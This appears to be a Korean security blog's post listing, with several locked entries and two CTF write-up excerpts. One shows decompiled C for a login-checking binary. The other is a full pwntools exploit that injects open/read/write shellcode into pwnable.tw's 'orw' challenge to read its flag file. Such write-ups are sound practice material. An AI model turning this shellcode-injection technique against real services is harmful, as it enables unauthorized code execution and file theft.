보호되어 있는 글입니다.

main문은 아래와 같다. int __cdecl main(int argc, const char **argv, const char **envp) { char v4; // [esp+4h] [ebp-3Ch] int v5; // [esp+18h] [ebp-28h] BYREF char input[30]; // [esp+1Eh] [ebp-22h] BYREF unsigned int base64_decoded; // [esp+3Ch] [ebp-4h] memset(input, 0, sizeof(input)); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); printf("Authenticate : ", v4); _isoc99_scanf("%30s", input); memset(..

보호되어 있는 글입니다.

보호되어 있는 글입니다.

보호되어 있는 글입니다.

쉘코딩 하면 덴다. from pwn import * r = remote("chall.pwnable.tw", 10001) e = ELF("orw") context.log_level = "debug" context(arch='i386', os='linux') pay = "" pay += asm(shellcraft.open('/home/orw/flag')) pay += asm(shellcraft.read('eax', e.bss()+0x100, 100)) pay += asm(shellcraft.write(1, e.bss()+0x100, 100)) r.recv() r.sendline(pay) r.interactive()